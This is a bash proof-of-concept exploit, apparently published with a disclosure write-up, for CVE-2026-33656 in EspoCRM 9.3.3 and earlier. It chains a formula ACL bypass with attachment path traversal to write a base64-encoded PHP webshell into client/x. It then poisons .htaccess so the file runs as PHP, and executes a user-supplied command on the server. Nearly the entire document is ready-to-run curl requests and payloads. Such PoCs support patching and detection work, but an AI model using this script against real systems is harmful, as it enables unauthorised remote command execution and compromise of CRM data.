EspoCRM Authenticated RCE via Formula ACL Bypass + Attachment Path Traversal — CVE-2026-33656

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110

#!/bin/bash
# ===========================================================================
# EspoCRM <= 9.3.3 CVE-2026-33656 — Authenticated RCE via Formula ACL Bypass
# + Attachment sourceId Path Traversal + .htaccess Poisoning
#
# Author  : Jiva (jivasecurity.com)
# Writeup : https://jivasecurity.com/writeups/espocrm-rce-cve-2026-33656
# Product : EspoCRM <= 9.3.3
# Auth    : Admin credentials required
# Impact  : OS command execution
#
# Usage:
#   ./poc.sh <base_url> <username> <password> [command]
#
# Example:
#   ./poc.sh http://192.168.5.16:8090 admin admin id
# ===========================================================================

BASE="${1:-http://192.168.5.16:8090}"
USER="${2:-admin}"
PASS="${3:-admin}"
CMD="${4:-id}"

AUTH_B64=$(printf '%s:%s' "$USER" "$PASS" | base64 | tr -d '\n')
AUTH="Espo-Authorization: $AUTH_B64"

# JSON id extractor — prefers jq, falls back to grep+cut (no python3 needed)
extract_id() {
    if command -v jq &>/dev/null; then
        jq -r '.id'
    else
        grep -o '"id":"[^"]*"' | head -1 | cut -d'"' -f4
    fi
}

die() { echo "[-] FAIL at $1: $2" >&2; exit 1; }

echo "[*] Target : $BASE"
echo "[*] User   : $USER"

# ── Step 1: Create attachment (Document/file, .txt — passes accept list) ──────
echo ""
echo "[1/6] Creating webshell attachment..."
RESP=$(curl -s "$BASE/api/v1/Attachment" \
  -H "$AUTH" -H "Content-Type: application/json" \
  -d '{"name":"test.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":28}')
SHELL_ID=$(echo "$RESP" | extract_id)
[[ -n "$SHELL_ID" ]] || die "Step 1" "no id returned — response: $RESP"
echo "    Attachment ID: $SHELL_ID"

# ── Step 2: Formula sets sourceId → ../../client/x (path traversal) ──────────
echo "[2/6] Setting sourceId via formula (ACL bypass)..."
RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
  -H "$AUTH" -H "Content-Type: application/json" \
  -d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$SHELL_ID\\\",\\\"sourceId\\\",\\\"../../client/x\\\")\",\"targetType\":null,\"targetId\":null}")
echo "$RESP" | grep -q '"isSuccess":true' || die "Step 2" "formula failed — $RESP"
echo "    sourceId → ../../client/x"

# ── Step 3: Chunk upload writes PHP webshell to client/x ─────────────────────
echo "[3/6] Writing PHP webshell to client/x..."
# Payload: <?php system($_GET["c"]); ?>
RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$SHELL_ID" \
  -H "$AUTH" -H "Content-Type: application/octet-stream" \
  --data-raw "data:application/octet-stream;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjIl0pOyA/Pg==")
echo "    Response: $RESP"

# ── Step 4: Create second attachment for .htaccess modification ───────────────
echo "[4/6] Creating .htaccess attachment..."
RESP=$(curl -s "$BASE/api/v1/Attachment" \
  -H "$AUTH" -H "Content-Type: application/json" \
  -d '{"name":"ht.txt","type":"text/plain","role":"Attachment","relatedType":"Document","field":"file","isBeingUploaded":true,"size":999999}')
HT_ID=$(echo "$RESP" | extract_id)
[[ -n "$HT_ID" ]] || die "Step 4" "no id returned — response: $RESP"
echo "    Attachment ID: $HT_ID"

# ── Step 5: Formula sets sourceId → ../../.htaccess ──────────────────────────
echo "[5/6] Redirecting to .htaccess via formula..."
RESP=$(curl -s -X POST "$BASE/api/v1/Formula/action/run" \
  -H "$AUTH" -H "Content-Type: application/json" \
  -d "{\"expression\":\"record\\\\update(\\\"Attachment\\\",\\\"$HT_ID\\\",\\\"sourceId\\\",\\\"../../.htaccess\\\")\",\"targetType\":null,\"targetId\":null}")
echo "$RESP" | grep -q '"isSuccess":true' || die "Step 5" "formula failed — $RESP"
echo "    sourceId → ../../.htaccess"

# ── Step 6: Chunk upload appends PHP handler directive to .htaccess ───────────
echo "[6/6] Appending PHP handler directive to .htaccess..."
# Payload:
#   <FilesMatch "^x$">
#   SetHandler application/x-httpd-php
#   </FilesMatch>
RESP=$(curl -s -X POST "$BASE/api/v1/Attachment/chunk/$HT_ID" \
  -H "$AUTH" -H "Content-Type: application/octet-stream" \
  --data-raw "data:text/plain;base64,CjxGaWxlc01hdGNoICJeeCQiPgpTZXRIYW5kbGVyIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwCjwvRmlsZXNNYXRjaD4=")
echo "    Response: $RESP"

# ── Execute ───────────────────────────────────────────────────────────────────
echo ""
echo "[*] Executing: $CMD"
echo "    Webshell: $BASE/client/x?c=<cmd>"
echo ""

RESULT=$(curl -s "$BASE/client/x?c=$CMD")
echo "$RESULT"
echo ""

if echo "$RESULT" | grep -qE "uid=[0-9]+"; then
    echo "[+] RCE CONFIRMED"
else
    echo "[-] Webshell did not return expected output — check manually:"
    echo "    curl -v '$BASE/client/x?c=id'"
fi